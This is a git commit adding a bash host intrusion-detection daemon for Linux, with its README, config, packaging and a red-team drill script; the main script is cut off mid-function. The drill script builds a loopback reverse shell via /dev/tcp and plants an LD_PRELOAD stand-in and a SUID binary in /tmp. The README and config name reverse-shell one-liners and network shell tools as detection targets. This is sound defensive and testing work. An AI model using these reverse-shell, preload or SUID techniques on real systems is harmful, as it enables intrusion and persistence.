commit 45f8acb24a1ed2f64254c187be163885fee64c76 Author: Luna Date: Sun May 31 00:53:35 2026 -0700 Enodia Sentinel v0.1 — bash host-IDS prototype Poll-based host intrusion-detection daemon modeled on freeze-watcher's sample→trigger→snapshot→classify loop, with security signatures instead of performance ones: - reverse_shell (interpreter with a network socket on stdio) - ld_preload (/etc/ld.so.preload or LD_PRELOAD in writable dirs) - deleted_exe (process running from a deleted/memfd binary) - new_listener (listening port absent from startup baseline) - new_suid (new SUID/SGID binary; critical in writable dirs) - persistence (cron/systemd/authorized_keys/rc-file changes) - suspicious_egress (interpreter holding an outbound public connection) Each capture writes a forensic snapshot with per-signature incident- response guidance. Includes a safe, self-cleaning red-team harness (sentinel-redteam), hardened systemd unit, config, Makefile, and Arch packaging. Tested on Arch: detectors fire on drills, no false positives on a clean sweep, sweep cost optimized from ~15s to ~1s via batched syscalls and a gated filesystem-wide SUID scan. This bash implementation is retained as the regression oracle for the forthcoming Python rewrite. Co-Authored-By: Claude Opus 4.8 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..6b704ac --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +*.pkg.tar.zst +*.tar.gz +pkg/ +src/*.o +.claude/ +*.log diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..7166826 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Enodia + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..f0a7855 --- /dev/null +++ b/Makefile @@ -0,0 +1,53 @@ +PREFIX ?= /usr/local +BINDIR := $(PREFIX)/bin +SYSTEMDDIR := /etc/systemd/system +CONFDIR := /etc +LOGDIR := /var/log/enodia-sentinel + +.PHONY: install uninstall enable disable status logs check baseline drill clean + +install: + install -Dm755 src/sentinel.sh $(DESTDIR)$(BINDIR)/sentinel.sh + install -Dm755 src/sentinel-redteam $(DESTDIR)$(BINDIR)/sentinel-redteam + install -Dm644 systemd/enodia-sentinel.service $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel.service + @if [ ! -e "$(DESTDIR)$(CONFDIR)/enodia-sentinel.conf" ]; then \ + install -Dm644 config/enodia-sentinel.conf $(DESTDIR)$(CONFDIR)/enodia-sentinel.conf; \ + echo "Installed default config at $(CONFDIR)/enodia-sentinel.conf"; \ + else \ + install -Dm644 config/enodia-sentinel.conf $(DESTDIR)$(CONFDIR)/enodia-sentinel.conf.new; \ + echo "Existing config preserved; new template at $(CONFDIR)/enodia-sentinel.conf.new"; \ + fi + install -dm750 $(DESTDIR)$(LOGDIR) + @echo "Installed. Run 'sudo make enable' to start the service." + +uninstall: + rm -f $(DESTDIR)$(BINDIR)/sentinel.sh + rm -f $(DESTDIR)$(BINDIR)/sentinel-redteam + rm -f $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel.service + rm -f $(DESTDIR)$(CONFDIR)/enodia-sentinel.conf.new + @echo "Uninstalled. Config and logs preserved." + +enable: + systemctl daemon-reload + systemctl enable --now enodia-sentinel.service + +disable: + systemctl disable --now enodia-sentinel.service + +status: + systemctl status enodia-sentinel.service --no-pager + +logs: + journalctl -u enodia-sentinel.service -f + +check: + sentinel.sh --check + +baseline: + sentinel.sh --baseline + +drill: + sentinel-redteam + +clean: + @echo "Nothing to clean (no build artifacts)." diff --git a/README.md b/README.md new file mode 100644 index 0000000..71d7b1e --- /dev/null +++ b/README.md @@ -0,0 +1,175 @@ +# Enodia Sentinel + +A host intrusion-detection daemon for Linux. It continuously runs a set of +detectors over live system state — processes, sockets, file descriptors, the +SUID inventory, and sensitive files — and writes a detailed forensic snapshot +with incident-response guidance the moment a known attack signature appears. + +Think of it as the security counterpart to a performance watchdog: instead of +"I/O pressure spiked, here's the kernel state," it's *"a shell just wired itself +to a socket — here's the process tree, the peer, and what to do about it."* + +> **Design lineage.** Sentinel reuses the proven control loop of a performance +> anomaly-capture daemon (sample → threshold/trigger → rich snapshot → classify +> → notify/retain) and swaps the inputs and signatures from *performance* to +> *security*. The forensic-snapshot-on-trigger pattern is the same; the +> detectors and the response guidance are new. + +## Why these detectors + +Every detector keys on a behavior that is **cheap to observe** and **expensive +for an attacker to avoid** — the high-signal, low-false-positive heuristics that +real EDRs are built on: + +| Signature | What it catches | Why it's hard to evade | +|---|---|---| +| `reverse_shell` | A shell/interpreter with a **socket on fd 0/1/2** | Interactive shells get a pty, not a socket — a socket on stdio is almost always `nc -e` / `bash -i >& /dev/tcp/...` | +| `ld_preload_global` | A non-empty `/etc/ld.so.preload` | Injecting into *every* process is the whole point of a userland rootkit; the file has to exist | +| `ld_preload_proc` | `LD_PRELOAD` pointing into `/tmp`, `/dev/shm`, … | Hooking libc to hide files/creds needs the library somewhere writable | +| `deleted_exe` | A process running from a **deleted / `memfd:`** binary | Fileless malware deletes its dropper but the kernel still names the inode `(deleted)` | +| `new_listener` | A listening port absent from the startup baseline | Bind shells and backdoors have to listen somewhere | +| `new_suid` | A new SUID/SGID binary (critical in writable dirs) | A SUID `/tmp` binary is a textbook privesc persistence trick | +| `persistence` | Changes to cron, systemd units, `authorized_keys`, rc files | Persistence has to write *somewhere* that survives reboot | +| `suspicious_egress` | An interpreter holding an outbound conn to a public IP | C2 beacons and exfil need to phone home | + +## The control loop + +``` + ┌────────────────────────────────────────────┐ + │ every SAMPLE_INTERVAL seconds │ + │ │ + │ run_detectors() ──► alert lines │ + │ │ SEV signature detail │ + │ ▼ │ + │ cooldown dedup (per signature+key) │ + │ │ │ + │ ▼ (fresh alerts only) │ + │ capture_snapshot() │ + │ • flagged-pid deep dive (/proc) │ + │ • full process tree + sockets │ + │ • ld.so.preload, recent file mods │ + │ • logins, failed auth, kernel modules │ + │ • per-signature response guidance │ + │ │ │ + │ ▼ │ + │ events.log + alert-*.log + desktop notify │ + └────────────────────────────────────────────┘ +``` + +Output lives in `/var/log/enodia-sentinel/`: +- `events.log` — one line per alert (timestamp, severity, signatures, file) +- `alert-YYYYMMDD-HHMMSS.log` — the full forensic snapshot + +## Quick start + +```bash +sudo make install +sudo make enable # start + enable the systemd service + +# prove it works — in one terminal: +sudo tail -f /var/log/enodia-sentinel/events.log +# in another: +sentinel-redteam # safe, self-cleaning attack simulations +``` + +You'll watch the drills trip `reverse_shell`, `ld_preload_proc`, `deleted_exe`, +`new_listener`, and `new_suid` in real time, each producing a snapshot with +response guidance. + +### Without installing (try it in place) + +```bash +sudo ./src/sentinel.sh --baseline # establish listener/SUID baselines +sudo ./src/sentinel.sh --check # run every detector once, print findings +``` + +## The red-team harness + +`sentinel-redteam` is the demo and the regression test in one. It simulates each +threat with **safe, clearly-labeled stand-ins** (everything tagged +`enodia-drill`, auto-cleaned on exit): + +- **reverse_shell** — a `bash` whose stdio is a TCP socket to a *local* listener + (no traffic leaves the box) +- **ld_preload** — a process with `LD_PRELOAD=/tmp/...` (an empty file; never + actually loaded, and it does **not** touch the system-wide `/etc/ld.so.preload`) +- **deleted_exe** — a copy of `/bin/sleep` run from `/tmp`, then deleted +- **new_listener** — an ephemeral `nc -l` on loopback +- **new_suid** — a `chmod 4755` copy of `/bin/true` in `/tmp` +- **persistence** — writes to a sandbox `authorized_keys` (only fires if you opt + the sandbox into `WATCH_PERSISTENCE`; it refuses to touch your real dotfiles) + +```bash +sentinel-redteam --list # list drills +sentinel-redteam reverse_shell new_suid # run specific ones +HOLD=30 sentinel-redteam # keep artifacts alive 30s +``` + +## Configuration + +Edit `/etc/enodia-sentinel.conf`, then `sudo systemctl restart +enodia-sentinel.service`. Key options: + +| Variable | Default | Purpose | +|---|---|---| +| `SAMPLE_INTERVAL` | 4 | seconds between detector sweeps | +| `COOLDOWN` | 60 | min seconds before re-alerting the same signature | +| `DET_*` | 1 | per-detector on/off switches | +| `INTERPRETERS` | bash sh … | process names treated as shells for rsh/egress | +| `EGRESS_ALLOW_CIDRS` | "" | trusted public ranges that won't trip egress | +| `LISTENER_ALLOW_PORTS` | "" | ports that never trip `new_listener` | +| `SUID_HOT_DIRS` | /tmp /dev/shm … | dirs where SUID = CRITICAL | +| `WATCH_PERSISTENCE` | cron/systemd/… | files watched for tampering | +| `CAPTURE_EXECVE_BPFTRACE` | 0 | add a bpftrace execve trace to snapshots | +| `MAX_SNAPSHOTS` / `MAX_SNAPSHOT_AGE_DAYS` | 300 / 60 | retention | +| `NOTIFY_USERS` | "" | desktop notify-send targets | + +## Tuning out false positives + +- A long-running daemon legitimately running a deleted exe after a package + upgrade won't alert — `deleted_exe` only fires for `/tmp`, `/dev/shm`, + `/run`, `/var/tmp`, or `memfd:` paths. +- Your own admin shells over SSH won't trip `reverse_shell` — they're on a pty. +- Browsers and chat apps that interpreters open to public IPs *can* trip + `suspicious_egress` if you add them to `INTERPRETERS`; the default list is + deliberately scripting-focused. Use `EGRESS_ALLOW_CIDRS` for known-good ranges. + +## Security model + +Sentinel runs as root because it must read every process's `/proc`, the full +socket table, and root-owned files like `authorized_keys`. The systemd unit +constrains that power hard: `ProtectSystem=strict` with the log dir as the only +writable path, `ProtectHome=read-only`, `NoNewPrivileges`, +`MemoryDenyWriteExecute`, and a minimal capability set +(`CAP_SYS_PTRACE`, `CAP_DAC_READ_SEARCH`). It only ever **reads** the system and +**writes** to its own log directory. + +## Roadmap — from polling to eBPF + +This v0 is **poll-based**: it sweeps `/proc` and `ss` every few seconds. That's +robust, dependency-light, and catches anything that lingers — but it can miss +sub-second processes, and a sweep is observable. The planned evolution: + +1. **bpftrace tracepoints (now, optional)** — `CAPTURE_EXECVE_BPFTRACE=1` adds a + live `execve` trace to each snapshot. The gentle on-ramp to kernel tracing. +2. **Event-driven execve/connect detection** — replace the polling gap with + `bpftrace` probes on `sys_enter_execve`, `security_bprm_check`, and + `tcp_connect`, streamed to the daemon so short-lived reverse shells can't + slip between sweeps. +3. **A libbpf + CO-RE agent (Go or Rust userland)** — the real EDR core: LSM + hooks, ring-buffer event streaming, per-process lineage tracking, and + tamper-resistance. This is the production-grade rewrite the polling daemon + prototypes the detection logic for. + +The polling daemon isn't throwaway — it's the **oracle**: every signature here +is a test case the eBPF agent must reproduce, and `sentinel-redteam` is the +shared regression suite for both. + +## Project status + +v0.1 — working poll-based detection across 7 signatures, forensic snapshots, +red-team harness, systemd packaging. Built and tested on Arch Linux. + +## License + +MIT diff --git a/config/enodia-sentinel.conf b/config/enodia-sentinel.conf new file mode 100644 index 0000000..dda19a8 --- /dev/null +++ b/config/enodia-sentinel.conf @@ -0,0 +1,50 @@ +# Enodia Sentinel configuration +# Sourced by /usr/local/bin/sentinel.sh at startup (bash variable assignments). +# Restart after editing: sudo systemctl restart enodia-sentinel.service + +# --- timing -------------------------------------------------------------- +SAMPLE_INTERVAL=4 # seconds between detector sweeps +COOLDOWN=60 # min seconds before re-alerting the same signature +BASELINE_GRACE=10 # seconds after start before new-listener/suid arm +SUID_REFRESH=3600 # seconds between SUID baseline refreshes +SUID_SCAN_INTERVAL=60 # seconds between filesystem-wide SUID scans (expensive) + +# --- detector toggles (1 = on, 0 = off) ---------------------------------- +DET_REVERSE_SHELL=1 # shell/interpreter with a socket on stdio +DET_LD_PRELOAD=1 # ld.so.preload rootkit / LD_PRELOAD in temp dirs +DET_DELETED_EXE=1 # process running from deleted/memfd binary +DET_NEW_LISTENER=1 # listening port not present at baseline +DET_NEW_SUID=1 # new SUID/SGID binary +DET_PERSISTENCE=1 # cron/systemd/authorized_keys/rc file changes +DET_EGRESS=1 # interpreter with outbound conn to public IP + +# --- tuning -------------------------------------------------------------- +# Process names treated as "interpreters" for reverse-shell / egress checks. +INTERPRETERS="bash sh dash zsh ksh ash nc ncat netcat socat telnet python python2 python3 perl ruby php lua awk" + +# Trusted public CIDRs that should NOT trip the egress detector (your VPS, +# your VPN exit, monitoring endpoints, etc.). Space separated. +EGRESS_ALLOW_CIDRS="" + +# Listener ports that never alert even if they appear after baseline. +LISTENER_ALLOW_PORTS="" + +# Dirs where any SUID binary is treated as CRITICAL (attacker-writable). +SUID_HOT_DIRS="/tmp /dev/shm /var/tmp /home /run/user" + +# Persistence files/dirs to watch for modification (globs ok). +# Append the red-team sandbox here to test the persistence drill safely. +WATCH_PERSISTENCE="/etc/cron.d /etc/crontab /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /var/spool/cron /etc/systemd/system /etc/ld.so.preload /etc/passwd /etc/sudoers /etc/sudoers.d /root/.ssh/authorized_keys /root/.bashrc /root/.profile" + +# --- eBPF on-ramp -------------------------------------------------------- +# Run a 3s bpftrace execve trace inside each snapshot to catch short-lived +# processes that polling misses. Requires the 'bpftrace' package. +CAPTURE_EXECVE_BPFTRACE=0 + +# --- retention ----------------------------------------------------------- +MAX_SNAPSHOTS=300 # auto-delete oldest beyond this (0 = no cap) +MAX_SNAPSHOT_AGE_DAYS=60 # auto-delete older than this (0 = no age cap) + +# --- notifications ------------------------------------------------------- +NOTIFY_USERS="" # e.g. "luna" — desktop notify-send on alert +NOTIFY_URGENCY=critical # low / normal / critical diff --git a/packaging/PKGBUILD b/packaging/PKGBUILD new file mode 100644 index 0000000..f4521c6 --- /dev/null +++ b/packaging/PKGBUILD @@ -0,0 +1,24 @@ +# Maintainer: Enodia +pkgname=enodia-sentinel +pkgver=0.1.0 +pkgrel=1 +pkgdesc="Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering" +arch=('any') +url="https://github.com/Enodia/enodia-sentinel" +license=('MIT') +depends=('bash' 'iproute2' 'procps-ng') +optdepends=('bpftrace: execve tracing of short-lived processes in snapshots' + 'libnotify: desktop notifications on alert') +backup=('etc/enodia-sentinel.conf') +source=() +sha256sums=() + +package() { + cd "$startdir/.." + install -Dm755 src/sentinel.sh "$pkgdir/usr/bin/sentinel.sh" + install -Dm755 src/sentinel-redteam "$pkgdir/usr/bin/sentinel-redteam" + install -Dm644 systemd/enodia-sentinel.service "$pkgdir/usr/lib/systemd/system/enodia-sentinel.service" + install -Dm644 config/enodia-sentinel.conf "$pkgdir/etc/enodia-sentinel.conf" + install -Dm644 LICENSE "$pkgdir/usr/share/licenses/$pkgname/LICENSE" + install -dm750 "$pkgdir/var/log/enodia-sentinel" +} diff --git a/packaging/build-package.sh b/packaging/build-package.sh new file mode 100755 index 0000000..4e0696b --- /dev/null +++ b/packaging/build-package.sh @@ -0,0 +1,8 @@ +#!/bin/bash +# Build the Arch package from the repo root. +set -e +cd "$(dirname "$0")" +echo "Building enodia-sentinel package..." +makepkg -f --noconfirm +mv -f *.pkg.tar.zst ../ 2>/dev/null || true +echo "Done. Install with: sudo pacman -U enodia-sentinel-*.pkg.tar.zst" diff --git a/src/sentinel-redteam b/src/sentinel-redteam new file mode 100755 index 0000000..f5a6ce9 --- /dev/null +++ b/src/sentinel-redteam @@ -0,0 +1,134 @@ +#!/bin/bash +# Enodia Sentinel — red-team self-test harness. +# +# Simulates each detector's threat signature using SAFE, clearly-labeled +# stand-ins (all tagged "enodia-drill"), so you can watch Sentinel catch them +# live. Nothing here is malicious: no real payloads, no system files touched, +# everything is cleaned up on exit. +# +# Usage: +# sentinel-redteam run all drills (default 20s each window) +# sentinel-redteam ... run only the named drills +# sentinel-redteam --list list available drills +# +# Drills: reverse_shell ld_preload deleted_exe new_listener new_suid persistence +# +# Watch it work, in another terminal: +# sudo tail -f /var/log/enodia-sentinel/events.log +# or one-shot: +# sudo /usr/local/bin/sentinel.sh --check + +set -u +HOLD="${HOLD:-20}" # seconds to keep each drill artifact alive +TMP="$(mktemp -d /tmp/enodia-drill.XXXXXX)" +PIDS=() +SANDBOX="$TMP/persistence-sandbox" # used by the persistence drill +LISTEN_PORT=14444 + +cleanup() { + echo "[*] cleaning up drill artifacts..." + for p in "${PIDS[@]}"; do kill "$p" 2>/dev/null; done + rm -rf "$TMP" + echo "[*] done. (Sentinel snapshots in /var/log/enodia-sentinel/ are kept.)" +} +trap cleanup EXIT INT TERM + +note() { echo -e "\n=== DRILL: $1 ===\n $2"; } + +drill_reverse_shell() { + note reverse_shell "a bash with a TCP socket wired to its stdin/stdout (classic reverse shell)" + # Local listener stands in for the attacker's box. No remote traffic leaves. + ( exec -a enodia-drill-listener nc -l 127.0.0.1 "$LISTEN_PORT" >/dev/null 2>&1 ) & + PIDS+=("$!") + sleep 1 # let the listener bind (single-shot nc; don't probe-connect it) + # bash whose fd 0/1/2 are the socket — exactly what `nc -e /bin/bash` produces. + # The shell retries the connect itself so it wins the listener's accept slot. + # It then BLOCKS reading the socket (like a real reverse shell awaiting + # commands) so the process holding the socket stays a 'bash', not a sleep. + ( exec -a enodia-drill-rsh bash -c \ + 'for i in 1 2 3 4 5 6 7 8 9 10; do exec 3<>/dev/tcp/127.0.0.1/'"$LISTEN_PORT"' && break; sleep 0.3; done + exec 0<&3 1>&3 2>&3; read -t '"$HOLD"' _line' ) & + PIDS+=("$!") + echo " -> spawned drill reverse shell (pid $!) for ${HOLD}s" +} + +drill_ld_preload() { + note ld_preload "a process running with LD_PRELOAD pointing into /tmp" + : > "$TMP/evil.so" # empty file; we never actually load it, just set the env + ( LD_PRELOAD="$TMP/evil.so" exec -a enodia-drill-preload sleep "$HOLD" ) & + PIDS+=("$!") + echo " -> spawned process with LD_PRELOAD=$TMP/evil.so (pid $!)" + echo " NOTE: does NOT touch /etc/ld.so.preload (that would be system-wide)." +} + +drill_deleted_exe() { + note deleted_exe "a process whose executable was deleted from disk (fileless)" + cp /bin/sleep "$TMP/enodia-drill-ghost" 2>/dev/null + ( exec "$TMP/enodia-drill-ghost" "$HOLD" ) & + local p=$!; PIDS+=("$p") + sleep 0.5 + rm -f "$TMP/enodia-drill-ghost" # now /proc//exe shows "(deleted)" in /tmp + echo " -> running pid $p from a now-deleted /tmp binary" +} + +drill_new_listener() { + note new_listener "a new TCP listening port that wasn't in the baseline" + ( exec -a enodia-drill-bind nc -l 127.0.0.1 $((LISTEN_PORT+1)) >/dev/null 2>&1 ) & + PIDS+=("$!") + echo " -> opened listener on 127.0.0.1:$((LISTEN_PORT+1)) (pid $!)" +} + +drill_new_suid() { + note new_suid "a SUID binary appearing in a world-writable dir (/tmp)" + cp /bin/true "$TMP/enodia-drill-suid" 2>/dev/null + chmod 4755 "$TMP/enodia-drill-suid" 2>/dev/null + echo " -> dropped SUID binary at $TMP/enodia-drill-suid (perms: $(stat -c %A "$TMP/enodia-drill-suid" 2>/dev/null))" + echo " (will be detected on the next sweep; kept for ${HOLD}s)" + ( sleep "$HOLD" ) & PIDS+=("$!") +} + +drill_persistence() { + note persistence "modifying a watched persistence file" + echo " NOTE: this drill only fires if you've pointed WATCH_PERSISTENCE at the" + echo " sandbox below. To test safely, add this to /etc/enodia-sentinel.conf:" + echo " WATCH_PERSISTENCE=\"\$WATCH_PERSISTENCE $SANDBOX\"" + echo " then restart the service. Otherwise this would require touching real" + echo " files like ~/.ssh/authorized_keys, which the harness will NOT do." + mkdir -p "$SANDBOX" + echo "# enodia-drill $(date)" >> "$SANDBOX/authorized_keys" + echo " -> wrote $SANDBOX/authorized_keys" +} + +run() { + case "$1" in + reverse_shell) drill_reverse_shell ;; + ld_preload) drill_ld_preload ;; + deleted_exe) drill_deleted_exe ;; + new_listener) drill_new_listener ;; + new_suid) drill_new_suid ;; + persistence) drill_persistence ;; + *) echo "unknown drill: $1" >&2; return 1 ;; + esac +} + +ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence) + +if [ "${1:-}" = "--list" ]; then printf '%s\n' "${ALL[@]}"; exit 0; fi + +echo "######################################################################" +echo "# ENODIA SENTINEL — RED TEAM DRILL #" +echo "# All artifacts are labeled 'enodia-drill' and auto-cleaned. #" +echo "# Watch detections: sudo tail -f /var/log/enodia-sentinel/events.log" +echo "######################################################################" + +if [ "$#" -gt 0 ]; then targets=("$@"); else targets=("${ALL[@]}"); fi +for d in "${targets[@]}"; do run "$d"; done + +echo -e "\n[*] drills live for ${HOLD}s. Triggering a Sentinel sweep check now:" +if [ -x /usr/local/bin/sentinel.sh ]; then + sudo /usr/local/bin/sentinel.sh --check 2>/dev/null \ + | grep -i drill && echo " ^ Sentinel saw the drills." \ + || echo " (run 'sudo sentinel.sh --check' yourself, or watch events.log)" +fi +echo "[*] holding for ${HOLD}s, then cleaning up..." +sleep "$HOLD" diff --git a/src/sentinel.sh b/src/sentinel.sh new file mode 100755 index 0000000..dae8c2b --- /dev/null +++ b/src/sentinel.sh @@ -0,0 +1,526 @@ +#!/bin/bash +# Enodia Sentinel — a host intrusion-detection daemon. +# +# Continuously runs a set of detectors over live system state (processes, +# sockets, file descriptors, SUID binaries, sensitive files). When a detector +# fires, it writes a detailed forensic snapshot with incident-response guidance, +# the same way freeze-watcher captures a snapshot on a performance anomaly. +# +# Architecture mirrors freeze-watcher.sh: +# sample loop -> run_detectors -> (cooldown dedup) -> capture_snapshot +# +# Run modes: +# sentinel.sh daemon loop (default; used by systemd) +# sentinel.sh --check run detectors once, print alerts, exit (no capture) +# sentinel.sh --baseline (re)build listener/SUID baselines and exit + +set -u + +LOG_DIR="${ENODIA_LOG_DIR:-/var/log/enodia-sentinel}" +CONFIG="${ENODIA_CONFIG:-/etc/enodia-sentinel.conf}" +TRIGGER_FILE="$LOG_DIR/.trigger" + +# --- defaults (overridden by /etc/enodia-sentinel.conf) ------------------ +SAMPLE_INTERVAL=4 # seconds between detector sweeps +COOLDOWN=60 # min seconds before re-alerting the same signature+key +SUID_REFRESH=3600 # seconds between SUID baseline refreshes +SUID_SCAN_INTERVAL=60 # seconds between filesystem-wide SUID scans (expensive) +BASELINE_GRACE=10 # seconds after start before new-listener/suid alerts arm + +# Which process names count as "interpreters" for reverse-shell / egress checks +INTERPRETERS="bash sh dash zsh ksh ash nc ncat netcat socat telnet python python2 python3 perl ruby php lua awk" + +# Egress: interpreters talking to a public IP are suspicious unless the remote +# is in one of these trusted CIDRs (space separated, e.g. "203.0.113.0/24"). +EGRESS_ALLOW_CIDRS="" +# Listeners on these ports never alert even if they appear after baseline. +LISTENER_ALLOW_PORTS="" + +# Directories where a SUID binary is always critical (attacker-writable). +SUID_HOT_DIRS="/tmp /dev/shm /var/tmp /home /run/user" + +# Files/dirs watched for persistence tampering (space separated; globs ok). +WATCH_PERSISTENCE="/etc/cron.d /etc/crontab /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /var/spool/cron /etc/systemd/system /etc/ld.so.preload /etc/passwd /etc/sudoers /etc/sudoers.d /root/.ssh/authorized_keys /root/.bashrc /root/.profile" +# Per-user files to watch under each /home/* (appended to WATCH_PERSISTENCE at start) +WATCH_HOME_FILES=".ssh/authorized_keys .bashrc .bash_profile .profile .zshrc .config/autostart" + +# Detector toggles +DET_REVERSE_SHELL=1 +DET_LD_PRELOAD=1 +DET_DELETED_EXE=1 +DET_NEW_LISTENER=1 +DET_NEW_SUID=1 +DET_PERSISTENCE=1 +DET_EGRESS=1 + +# eBPF on-ramp: run a short bpftrace execve trace inside each snapshot, to +# catch short-lived processes that polling misses. Requires bpftrace. +CAPTURE_EXECVE_BPFTRACE=0 + +# Retention +MAX_SNAPSHOTS=300 +MAX_SNAPSHOT_AGE_DAYS=60 + +# Notifications (desktop) +NOTIFY_USERS="" +NOTIFY_URGENCY=critical + +[ -f "$CONFIG" ] && . "$CONFIG" + +mkdir -p "$LOG_DIR" +chmod 750 "$LOG_DIR" 2>/dev/null + +START_TIME=$(date +%s) +last_suid_refresh=0 +captures_since_prune=0 + +# Per-signature cooldown map: key -> last alert epoch +declare -A last_alert + +# -------------------------------------------------------------------------- +# Helpers +# -------------------------------------------------------------------------- + +# ip_to_int DOTTED -> integer, for CIDR matching. Empty on parse failure. +ip_to_int() { + local ip="$1" a b c d + IFS=. read -r a b c d <<< "$ip" + [[ "$a$b$c$d" =~ ^[0-9]+$ ]] || return 1 + echo $(( (a<<24) + (b<<16) + (c<<8) + d )) +} + +# is_public_ip ADDR -> 0 if a routable public IPv4 (not private/loopback/link-local) +is_public_ip() { + local ip="$1" + # Strip IPv6 brackets / zone; treat any IPv6 as "public-ish" unless loopback + case "$ip" in + ::1|::ffff:127.*) return 1 ;; + *:*) return 0 ;; # IPv6 non-loopback: treat as routable + esac + local n; n=$(ip_to_int "$ip") || return 1 + # 10.0.0.0/8 + [ "$n" -ge 167772160 ] && [ "$n" -le 184549375 ] && return 1 + # 172.16.0.0/12 + [ "$n" -ge 2886729728 ] && [ "$n" -le 2887778303 ] && return 1 + # 192.168.0.0/16 + [ "$n" -ge 3232235520 ] && [ "$n" -le 3232301055 ] && return 1 + # 127.0.0.0/8 + [ "$n" -ge 2130706432 ] && [ "$n" -le 2147483647 ] && return 1 + # 169.254.0.0/16 link-local + [ "$n" -ge 2851995648 ] && [ "$n" -le 2852061183 ] && return 1 + # 100.64.0.0/10 CGNAT (often VPN/tailscale) + [ "$n" -ge 1681915904 ] && [ "$n" -le 1686110207 ] && return 1 + return 0 +} + +# ip_in_cidrs ADDR "cidr cidr ..." -> 0 if ADDR is inside any CIDR +ip_in_cidrs() { + local ip="$1" list="$2" cidr base bits mask n base_n + n=$(ip_to_int "$ip") || return 1 + for cidr in $list; do + base=${cidr%/*}; bits=${cidr#*/} + [[ "$bits" =~ ^[0-9]+$ ]] || continue + base_n=$(ip_to_int "$base") || continue + if [ "$bits" -eq 0 ]; then return 0; fi + mask=$(( 0xFFFFFFFF << (32 - bits) & 0xFFFFFFFF )) + [ $(( n & mask )) -eq $(( base_n & mask )) ] && return 0 + done + return 1 +} + +# -------------------------------------------------------------------------- +# Detectors — each prints lines: SEVERITYsignaturedetail +# SEVERITY in {CRITICAL,HIGH,MEDIUM}. detail begins with a stable "key=..." +# token used for cooldown dedup. +# -------------------------------------------------------------------------- + +detect_reverse_shell() { + # Map network-socket inode -> "local -> peer" (TCP/UDP only) in ONE awk pass. + # A reverse shell has a TCP/UDP socket on its stdio; a unix socket or pipe + # (journald logging, shell harness pipes) is benign and must not alert. + declare -A net_peer + local ino peer + while read -r ino peer; do + [ -n "$ino" ] && net_peer[$ino]="$peer" + done < <( { ss -H -tanep 2>/dev/null; ss -H -uanep 2>/dev/null; } | awk ' + { ino=""; for (i=1;i<=NF;i++) if ($i ~ /^ino:/) ino=substr($i,5); + if (ino != "") print ino, $4" -> "$5 }' ) + + # Drive off the (small) set of fd 0/1/2 that are sockets, found in ONE ls. + local line target path pid inode comm cmd + while IFS= read -r line; do + target=${line##* -> } + [[ "$target" == socket:* ]] || continue + path=${line% -> *}; path=${path##* } # -> /proc/PID/fd/N + pid=${path#/proc/}; pid=${pid%%/*} + inode=${target#socket:[}; inode=${inode%]} + peer="${net_peer[$inode]:-}" + [ -n "$peer" ] || continue # network sockets only + read -r comm < "/proc/$pid/comm" 2>/dev/null || continue + case " $INTERPRETERS " in *" $comm "*) ;; *) continue ;; esac + cmd=$(tr '\0' ' ' 2>/dev/null < "/proc/$pid/cmdline"); cmd=${cmd% } + printf 'CRITICAL\treverse_shell\tkey=rsh:%s pid=%s comm=%s stdio=net-socket peer=[%s] cmd=[%s]\n' \ + "$pid" "$pid" "$comm" "$peer" "${cmd:0:90}" + done < <(ls -l /proc/[0-9]*/fd/0 /proc/[0-9]*/fd/1 /proc/[0-9]*/fd/2 2>/dev/null) +} + +detect_ld_preload() { + if [ -s /etc/ld.so.preload ]; then + local contents; contents=$(tr '\n' ' ' < /etc/ld.so.preload 2>/dev/null) + printf 'CRITICAL\tld_preload_global\tkey=ldp:global /etc/ld.so.preload is non-empty: [%s]\n' "${contents% }" + fi + # One grep finds the (usually zero) processes with LD_PRELOAD set, instead + # of reading every process's environ individually. + local f pid pre comm + while IFS= read -r -d '' f; do + pid=${f#/proc/}; pid=${pid%%/*} + pre=$(tr '\0' '\n' 2>/dev/null < "$f" | sed -n 's/^LD_PRELOAD=//p' | head -1) + [ -n "$pre" ] || continue + case "$pre" in + /tmp/*|/dev/shm/*|/var/tmp/*|/run/user/*|./*) + read -r comm < "/proc/$pid/comm" 2>/dev/null || comm="?" + printf 'CRITICAL\tld_preload_proc\tkey=ldp:%s pid=%s comm=%s LD_PRELOAD=[%s]\n' \ + "$pid" "$pid" "$comm" "$pre" ;; + esac + done < <(grep -alZ 'LD_PRELOAD=' /proc/[0-9]*/environ 2>/dev/null) +} + +detect_deleted_exe() { + # Resolve every /proc/*/exe symlink in ONE ls pass. + local line target path pid comm + while IFS= read -r line; do + target=${line##* -> } + case "$target" in *"(deleted)"*|memfd:*|*"/memfd:"*) ;; *) continue ;; esac + # Only alert for attacker-controlled / fileless locations. Normal-path + # deleted exes are usually daemons still running after a package upgrade. + case "$target" in + /tmp/*|/dev/shm/*|/var/tmp/*|/run/*|memfd:*|*"/memfd:"*) ;; + *) continue ;; + esac + path=${line% -> *}; path=${path##* } # -> /proc/PID/exe + pid=${path#/proc/}; 